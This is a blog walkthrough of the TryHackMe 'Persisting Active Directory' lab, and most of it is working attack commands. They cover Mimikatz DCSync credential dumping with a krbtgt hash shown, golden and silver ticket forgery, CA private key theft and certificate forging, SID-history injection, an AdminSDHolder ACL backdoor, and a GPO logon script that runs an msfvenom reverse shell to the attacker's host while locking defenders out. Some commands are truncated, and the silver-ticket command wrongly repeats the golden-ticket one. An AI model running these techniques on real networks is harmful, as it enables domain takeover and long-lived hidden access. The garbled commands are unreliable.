TryHackMe | Persisting Active Directory

In this walkthrough, I demonstrate the steps I took to complete the "Persisting Active Directory" network on TryHackMe.

a month ago   •   16 min read

By 0xBEN
Table of contents

Task 1: Introduction

Connecting to the Network

I am using my own Kali VM to complete this room, not the AttackBox provided by TryHackMe.

Download the VPN connection pack and connect to the VPN as a background service.

# Run the VPN connection as a daemon in the background
sudo openvpn --config ./persistingad.ovpn --daemon

When finished with the room, you can terminate the VPN connection with this command:

# Find the PID of the OpenVPN process
pid=$(sudo ps aux | grep -v grep | grep -i persistingad | awk -v FS=' ' '{print $2}')

# Send SIGTERM to the PID
sudo kill -9 $pid

Edit DNS Configuration

I didn't follow the guidance in the room and took a much more simplistic approach. Please note that the /etc/resolv.conf configurations in the before and after shown below are specific to my environment.


# Generated by NetworkManager
search cyber.range
/etc/resolv.conf (before)

After is the IP address of the thmdc (domain controller) in the network diagram. The domain controller is acting as the DNS resolver in the network environment.

# Generated by NetworkManager
search cyber.range za.tryhackme.loc
# Shorten name resolution timeouts to 1 second
options timeout:1
# Only attempt to resolve a hostname 2 times
options attempts:2
/etc/resolv.conf (after)

Run sudo systemctl restart networking.service after the changes to apply the changes.

Test Hostname Lookups


Why does this work?

You're instructing the DNS resolution service to search between and . So, let's say you say something like this:


What's happening is this:

  1. First ask – "Do you know the IP address of ?"
  2. If the domain controller answers, then stop the lookup process.
  3. If the domain controller doesn't have the answer, move on.
  4. Then, ask – "Do you know the IP address of ?"

Request Credentials

You will need a set of credentials as you progress through the lesson. You can request them from: .

Task 2: Persist Through Credentials

Order of Operations

  • Use your unprivileged credentials from the distributor to facilitate initial access
  • Use the Administrator credentials in the lesson to perform privileged operations. Pretend that these are credentials you've obtained during the exploitation phase.

Credentials are Unreliable

  • Passwords can easily be changed
  • Will be changed when an attacker is discovered
  • More reliable credentials would be
    • Local Administrative Accounts
      • Could still maintain a presence on multiple machines
    • Delegate Accounts
      • Given the right delegation, could generate silver or golden tickets
    • AD Service Credentials
      • WSUS
      • SCCM
      • Could force changes on the network

DC Sync



DC Sync with Mimikatz

To dcsync a single user we can test it on our user credential obtained from the distributor.

powershell.exe -ep bypass


mimikatz # lsadump::dcsync /domain:za.tryhackmloc /user:donald.ross
I had to use the WIN32 version, since I was getting errors when using the x64 version

To dcsync all users from the domain controller, we can do it a couple of ways:

  • Specify a log file in the Mimikatz session
  • Or, exit Mimikatz and run a one-liner

I'm going to choose the second options in my example, so I can keep my log file clean.

C:\Tools\mimikatz_trunk\Win32\mimikatz.exe 'lsadump::dcsync /domain:za.tryhackme.loc /all' > dcsyncall.txt

Transfer the file to Kali for keeping.

# Run the scp command from Kali
scp .

# Remove Windows CRLF line endings
# Change to utf8 encoding
dos2unix dcsyncall.txt

# Inspect the file with the less command
# Use the arrow keys to navigate
# Search for a term by hitting the '/' key
less dcsyncall.txt


What is the Mimikatz command to perform a DCSync for the username of test on the za.tryhackme.loc domain?
lsadump::dcsync /domain:za.tryhackme.loc /user:test

What is the NTLM hash associated with the krbtgt user?

Task 3: Persistence through Tickets

Golden Tickets

  • If we have the krbtgt account's hash, we can create tickets freely
  • This is because, we don't need to send an AS-REQ request to prove our identity to the KDC
    • We can sign any ticket with the krbtgt and that's enough to validate a TGT
    • Givent the krbtgt hash, we can spoof time stamps in the TGT and keep the ticket valid for years even
    • We can simply request a TGT as any user and sign it with the krbtgt hash
    • Now, armed with the TGT, we can request TGS tickets as the target user at will
  • Information needed to generate a golden ticket
    • krbtgt hash
    • Domain FQDN
    • Domain SID
    • Target user ID to impersonate

Silver Tickets

  • Limited in impact when compared to a golden ticket
  • Silver tickets are forged TGS tickets
  • TGS tickets are requested when a user wants to access a specific service
    • The TGS is created after authenticating with the KDC
      • Meaning, a silver ticket never involves talking with the KDC
      • Only the attacker and the target service
    • A service will be running on a specific machine
      • Therefore, the TGS will be signed with the machine's hash
      • Computer accounts also have passwords
    • Given the machine's password hash:
      • Forge a TGS as a fake user
      • Alter group SIDs in the ticket
        • Put ourselves in privileged local groups on the target
      • Now with administrative access to the machine
        • Change the machine password rotation interval from 30 days to something longer
        • This ensures the password hash can be reused to forge TGS tickets for re-entry to the machine
        • Use access on the host to enumerate and pivot

Forging Tickets with Mimikatz


We are going to SSH to THMWRK1 as our unprivileged user account.


Get the Domain Context

powershell.exe -ep bypass


Forge Some Tickets

Golden Ticket


mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt

We can specify here, /admin:ReallyNotLegitAccount because we're signing the TGT  request with the krbtgt hash, so the KDC doesn't verify our identity. It just grants the TGT because it sees the krbtgt hash.

Silver Ticket

mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt

We specify here, /admin:StillNotALegitAccount because this is a TGS ticket. Services on machines do not authenticate users. That's the job of the KDC – authenticate the user and issue the TGS. Since we're holding a TGS, this assumes we've already authenticated.

/id:500 is the RID of the local administrator group. The machine will authorize us seeing that we're a privileged user. Again, we can spoof and alter the ticket, because we've signed the ticket with the machine's hash.

/service:cifs is the SMB file service. Like the author says, there's a safe bet of it running on the target server.


Which AD account's NTLM hash is used to sign Kerberos tickets?

What is the name of a ticket that impersonates a legitimate TGT?
Golden Ticket

What is the name of a ticket that impersonates a legitimate TGS?
Silver Ticket

What is the default lifetime (in years) of a golden ticket generated by Mimikatz?

Task 4: Persistence through Certificates

A quick note here. The techniques discussed from this point forward are incredibly invasive and hard to remove. Even if you have signoff on your red team exercise to perform these techniques, you must take the utmost caution when performing these techniques. In real-world scenarios, the exploitation of most of these techniques would result in a full domain rebuild. Make sure you fully understand the consequences of using these techniques and only perform them if you have prior approval on your assessment and they are deemed necessary. In most cases, a red team exercise would be dechained at this point instead of using these techniques. Meaning you would most likely not perform these persistence techniques but rather simulate them.
  • This attack revolves around taking the private key of the Certificate Authority (CA) of the domain.
  • Armed with the private key, the attacker can now effectively "approve" their own Certificate Signing Requests (CSRs) and generate certificates to any user they please.
  • In Kerberos authentication, a user can authenticate by providing their public key.

Extracting the Private Key with Mimikatz


SSH to the domain controller using the domain administrator credential given in task 1. Since the Active Directory Certificate Services (AD CS) services is running on the domain controller, we execute the attack on this host.


Extract the CA's Private Key

powershell -ep bypass


# Enumerate certificates
mimikatz # crypto::certificates /systemstore:local_machine

# Elevate privileges
mimikatz # privilege::debug

# Allow certificate export without private key
mimikatz # crypto::capi
mimikatz # crypto::cng

# Export the certificates with private keys
mimikatz # crypto::certificates /systemstore:local_machine /export

mimikatz # exit

Create Your Own Certificates

Let's create a certificate for the domain administrator account.

# List the certificate files
# "local_machine_My_1_za-THMDC-CA.pfx" is the CA's certificate with the private key
Get-ChildItem .\*.pfx

C:\Tools\ForgeCert\ForgeCert\ForgeCert.exe --CaCertPath .\local_machine_My_1_za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject 'CN=Pwned' --SubjectAltName 'Administrator@za.tryhackme.loc' --NewCertPath .\domain-admin.pfx --NewCertPassword pwned123

Now, let's use Rubeus to create a TGT using our certificate and inject it into our session

# Create the TGT and save it locally
C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:'.\domain-admin.pfx' /password:'pwned123' /outfile:domain-admin.kirbi /domain:za.tryhackme.loc /dc:

# Use Mimikatz to inject the ticket into our session

mimikatz # kerberos::ptt domain-admin.kirbi

mimikatz # exit

dir \\\C$\Users


What key is used to sign certificates to prove their authenticity?
Private key

What application can we use to forge a certificate if we have the CA certificate and private key?

What is the Mimikatz command to pass a ticket from a file with the name of ticket.kirbi?
kerberos::ptt ticket.kirbi

Task 5: Persistence through SID History

  • Security Identifiers (SIDs) history allows for one account to be attached to another
  • For example, when migrating a domain, an account on a new domain could have the SID history of an old account to retain access ot the old domain during the migration
  • One way to abuse this feature is to add the SID of a privileged group – like the Domain Admins group – to the SID history of a low-level user
  • Even though the user is not a member of the group in AD, the system will authorize them as if they were due to the group SID being in their history



SSH into the domain controller using the administrator credentials provided.


Fact Finding

Now, let's inspect the SID history and group membership of our unprivileged account retrieved from the credential distributor.

powershell -ep bypass

Get-ADUser 'donald.ross' -Properties sidhistory,memberof

We can see the SIDHistory property is an empty list {} and the MemberOf property shows that this user is only a member of the Internet Access group.

Alter the SID History

Let's get the SID of the Domain Admins group.

Get-ADGroup 'Domain Admins'


Now, let's use the DSInternals PowerShell module to add the Domain Admins SID to our user's SID history:

Import-Moduls DSInternals

# Can't modify the SID history while the NTDS database is running
Stop-Service ntds -Force

# Add the SID to our account's SID history
Add-ADDBSidHistory -SamAccountName 'donald.ross' -SidHistory 'S-1-5-21-3885271727-2693558621-2658995185-512' -DatabasePath 'C:\Windows\NTDS\ntds.dit'

# Start the NTDS database again
Start-Service ntds


Now, that we've added the Domain Admins group SID to our unprivileged user account, let's SSH to thmwrk1 to test out our shiny, new privileges.

# SSH to thmwrk1 from Kali

Now, see if we can access a privileged resource on the domain controller.

dir \\\c$\Users


  • Not easily removed except by RSAT tooling
  • Difficult to find, not easily detected


What AD object attribute is normally used to specify SIDs from the object's previous domain to allow seamless migration to a new domain?

What is the database file on the domain controller that stores all AD information?

What is the PowerShell command to restart the ntds service after we injected our SID history values?
Start-Service -Name ntds

Task 6: Persistence through Group Membership

  • The most privileged groups or resources are note always the best choice, as they are often more closely watched for changes
  • In a previous lesson, we had write access over the IT Support group, which gave us privileges to reset user passwords, which would be good for maintaining access to workstations
  • A local administrator group may be less monitored than a global administrator groups
  • A group nested in a privileged group may give us the access we need


I am going to try to do the exercise in a bit more of a logical fashion than demonstrated in the lesson.



Create Some Groups

# Launch PowerShell
powershell -ep bypass

# Create the 1st group in the People\IT OU
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "0xBEN Nest Group 1" -SamAccountName "0xBEN_nestgroup1" -DisplayName "0xBEN Nest Group 1" -GroupScope Global -GroupCategory Security

# Create the 2nd group in the People\Sales OU
New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "0xBEN Nest Group 2" -SamAccountName "0xBEN_nestgroup2" -DisplayName "0xBEN Nest Group 2" -GroupScope Global -GroupCategory Security

# Create the 3rd group in the People\Consulting OU
New-ADGroup -Path "OU=CONSULTING,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "0xBEN Nest Group 3" -SamAccountName "0xBEN_nestgroup3" -DisplayName "0xBEN Nest Group 3" -GroupScope Global -GroupCategory Security

# Create the 4th group in the People\Marketing OU
New-ADGroup -Path "OU=MARKETING,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "0xBEN Nest Group 4" -SamAccountName "0xBEN_nestgroup4" -DisplayName "0xBEN Nest Group 4" -GroupScope Global -GroupCategory Security

# Create the 5th group in the People\IT OU
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "0xBEN Nest Group 5" -SamAccountName "0xBEN_nestgroup5" -DisplayName "0xBEN Nest Group 5" -GroupScope Global -GroupCategory Security

Nest the Groups

 |       |          |            |               |
 |       |          |            v               5
 |       |          v            4          ___________
 |       v          3        _________     |           |
 v       2       ______     |         |    |           |      Group 5
 1      __      |      |    |         |    |           |      gets 
[ ]----|> | ----|->    |----|->       |----|->         |----> added to
 ^      --      |      |    |         |    |           |      Domain
 |               ------     |         |    |           |      Admins
 |                           ---------     |           |
 |___unprivileged                           -----------
Unprivileged user inherits Domain Admins privileges from the parent group
# Add Group 1 to Group 2
Add-ADGroupMember -Identity '0xBEN_nestgroup2' -Members '0xBEN_nestgroup1'

# Add Group 2 to Group 3
Add-ADGroupMember -Identity '0xBEN_nestgroup3' -Members '0xBEN_nestgroup2'

# Add Group 3 to Group 4
Add-ADGroupMember -Identity '0xBEN_nestgroup4' -Members '0xBEN_nestgroup3'

# Add Group 4 to Group 5
Add-ADGroupMember -Identity '0xBEN_nestgroup5' -Members '0xBEN_nestgroup4'

# Add Group 5 to Domain Admins
Add-ADGroupMember -Identity 'Domain Admins' -Members '0xBEN_nestgroup5'

# Add unprivileged user to Group 1
Add-ADGroupMember -Identity '0xBEN_nestgroup1' -Members 'donald.ross'

Verify Inherited Privileges

SSH to thmwrk1 as your unprivileged user.


Try accessing a privileged resource on the domain controller

dir \\\c$\Users


What is the term used to describe AD groups that are members of other AD groups?
Group Nesting

What is the command to add a new member, thmtest, to the AD group, thmgroup?
Add-ADGroupMember -Identity thmgroup -Members thmtest

Task 7: Persistence through ACLs

  • Active Directory has a process called SDProp that replicates a template called, AdminSDHolder to all protected groups in the domain
  • If an attacker adds their user account to the AdminSDHolder template, SDProp will replicate the ACL to all the protected groups when it runs every 60 minutes
  • So even if the attacker is removed from privileged groups, they will be re-added at very cycle by SDProp



RDP to thmwrk1 as your standard user account.

xfreerdp / /u:'donald.ross' /p:'Changeme123'

Now, inject the network credentials of the domain administrator into your session. Launch a PowerShell terminal.

runas /netonly /user:za.tryhackme.loc\Administrator cmd.exe

Modify the AdminSDHolder Template

From your command prompt – now running with the injected domain admin credential – run the command mmc.exe . Go to File > Add/Remove Snap-in . Now, add the Active Directory Users and Computers snap-in.

Go to View > Advanced Features
Right-click AdminSDHolder and choose Properties
Click Add under the Security tab

Add your unprivileged user to the ACL here and be sure to allow Full Control for your user. Now, let's manually start the SDProp sync procedure.

WinRM to the Domain Controller

Use your existing command prompt for this step.

Still running our command prompt with the injected DA credential
# Enter a PowerShell session
powershell -ep bypass

# WinRM to the domain controller as the DA
Enter-PSSession -ComputerName

# Now running a PowerShell session on the domain controller...
Import-Module C:\Tools\Invoke-ADSDPropagation.ps1

Now that you've given your unprivileged user full control in the AdminSDHolder template. We can simply add ourselves as a member to a protected group. Let's test this from your unprivileged user's PowerShell windows on THMWRK1.


What AD group's ACLs are used as a template for the ACLs of all Protected Groups?

What AD service updates the ACLs of all Protected Groups to match that of the template?

What ACL permission allows the user to perform any action on the AD object?
Full Control

Task 8: Persistence through GPOs

Common GPO Persistence Techniques

  • Restricted Group Membership
  • Logon Script Deployment
  • Firewall Tampering
  • Anti-Virus Tampering

Domain Persistence with Logon Scripts

Create a Payload

This is the executable that will run when the target user(s) log onto their systems.

msfvenom -p windows/shell_reverse_tcp LHOST=kali-vpn-ip LPORT=443 -f exe -o 0xBEN_pwnz.exe

Create a Batch Script

This script will run on the target user(s)' system when they logon. The script does the following actions:

  1. Copy the payload from the SYSVOL directory on the domain controller to a temporary directory on the user's computer
  2. Wait 20 seconds to ensure complete download
  3. Execute the payload
copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\0xBEN_pwnz.exe C:\tmp\0xBEN_pwnz.exe && timeout /t 20 && C:\tmp\0xBEN_pwnz.exe
Contents of batch script: 0xBEN_pwnz.bat

Copy the Items to the Domain Controller

# Use scp on Kali
scp 0xBEN_pwnz.exe za\\
scp 0xBEN_pwnz.bat za\\

Create the GPO

Use your existing MMC console from Task 7 where you injected the domain administrator credentials. Go to File > Add/Remove Snap-ins and choose Group Policy Management .

Right-click "Admins" and choose "Create a GPO..."
Click OK
Right-click your GPO and set it to "Enforced"
Right-click and Edit

Follow the instructions to and browse to your batch script. Use this path in the navigation bar to find your files: \\\SYSVOL\za.tryhackme.loc\scripts .

Start a Listener and Catch a Shell

First start a listener to catch the shell when one of the Administrators logs.

sudo nc -lnvp 443

Now, we'll simulate this activity by resetting an admin's password and logging in as them. Using the MMC console as the domain administrator, let's attach the Active Directory Users and Computers snap-in.

Right-click, choose "Reset Password..."
Set the updated password

Now, let's RDP in as the T2 administrator.

xfreerdp / /u:'t1_eileen.burton' /p:'Strong.Password123'

Remove Admins Ability to Edit GPOs

We don't want defenders to be able modify or delete our GPO and destroy our persistence. You should still ave your MMC console open on thmwrk1.

Click on the Delegation tab
Set "ENTERPRISE DOMAIN CONTROLLERS" to "Edit settings, delete, modify security"
Remove all others so that it resembles this

Click Advanced


Add Domain Computers so that they can read the policy and pull the script

Finally, Remove Authenticated Users from the policy. This will result in absolutely no person (even you) being able to view/edit the policy you created. The only way to remove it now would be to impersonate the Domain Controller's machine account.


What MMC snap-in can be used to manage GPOs?
Group Policy Management

What sub-GPO is used to grant users and groups access to local groups on the hosts that the GPO applies to?
Restricted groups

What tab is used to modify the security permissions that users and groups have on the GPO?

Task 9: Conclusion

After each round of lateral movement and privilege escalation, persistence should be deployed.

Additional Persistence Techniques

  • Skeleton Keys: Use Mimikatz to create a default password for any domain account that does not overwrite the existing password
  • Directory Service Restore Mode (DSRM): A break-the-glass account for AD recovery, this password is often left unchanged, can be retrieved by Mimikatz
  • Malicious Security Support Provider: Use Mimikatz as an SSP to log authentication attempts, can log locally or remotely
  • Computer Accounts: Changing the default password rotation from 30 days to a longer duration can aid in persistence, especially if the machine account is made Administrator over other machines


  • Be on the lookout for logins that don't adhere to a tiering model
  • Have good detection capabilities around machine account passwords, ACLs, and GPOs
  • Least privilege on protected resources

Spread the word

Keep reading